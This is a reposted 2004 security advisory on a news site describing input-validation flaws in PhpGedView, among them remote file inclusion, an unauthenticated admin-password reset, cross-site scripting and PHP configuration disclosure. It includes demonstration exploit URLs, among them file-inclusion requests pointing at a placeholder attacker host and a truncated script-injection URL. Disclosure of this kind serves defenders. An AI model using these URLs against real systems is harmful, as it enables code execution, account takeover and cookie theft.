Press CTRL-D to bookmark us
Welcome Guest Login / Register / Members
Search in  
Top Submit newsSubscribe
Communication | Computer Crime | Digital Audio, Video, Photo | General News | Hardware | Internet | Mobile | PDA | Security | Software | Vulnerability |


Previous articleBack to news listNext article
 

 Sponsored links

Want to become one of our authors and see your work published on ALLSeek.iNFO ?
 
 PhpGedView Input Validation Flaws Let Remote Users Execute Arbitrary Commands
Categorie: Vulnerability
Posted: 2004-01-09 by ReCall
Views: 637
Source: Click here
 
Current Rating: Not rated
Poor Best
 Details
Description: Several vulnerabilities were reported in PhpGedView. A remtoe user can execute arbitrary PHP code and operating system commands on the target system.

Windak of Vietnamese Security Group reported that the 'functions.php', 'authentication_index.php', and 'config_gedcom.php' files include other files relative to the $PGV_BASE_DIRECTORY variable [CVE: CAN-2004-0030]. A remote user can supply a specially crafted URL to cause a PHP file at a remote location to be included and executed by the target system.

Some demonstration exploit URLs are provided:

http://[target]/phpgedview_folder/authentication_index.php?PGV_BASE_DIRECTORY=http://[attacker]/
http://[target]/phpgedview_folder/functions.php?PGV_BA SE_DIRECTORY=http://[attacker]/
http://[target]/phpgedview_folder/config_gedcom.php?PGV_BASE_DIRECTORY=http://[attacker]/

It is also reported that the 'editconfig.php' file can be invoked by a remote user to re-install the software and change the administrator password [CVE: CAN-2004-0031]:

http://[target]/phpgedview_folder/editconfig.php

It is also reported that the 'search.php' file does not filter HTML code from user-supplied input in the 'firstname' variable [CVE: CAN-2004- 0032]. A remote user can create a specially crafted URL that, when loaded by a target user, will cause arbitrary scripting code to be executed by the target user's browser. The code will originate from the site running the PhpGedView software and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.

A demonstration exploit URL is provided:

http://localhost/phpgedview/search.php?action=soundex&firstname="> It is also reported that a remote user can determine information about the PHP configuration on the target system by using the following type of URL [CVE: CAN- 2004-0033]:

http://[target]/phpgedview_folder/admin.php?action=phpinfo

Impact: A remote user can execute arbitrary PHP code and operating system commands on the target system. The code and commands
will run with the privileges of the target web service.

A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the PhpGedView software, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.

A remote user can reconfigure the application, including changing the administrative password.

A remote user can determine information about the PHP configuration.

Solution: No solution was available at the time of this entry.

 
Syndication
Permalink Email this

The URI to TrackBack this entry is:
http://allseek.info/news/trackback.php?id=632

User comments (post your comments here)

Only registerd members can post comments and articles
 

Previous articleBack to news listNext article
 



InterJOB.su

SpyLOG Page Rank Checker
LAST QUERIES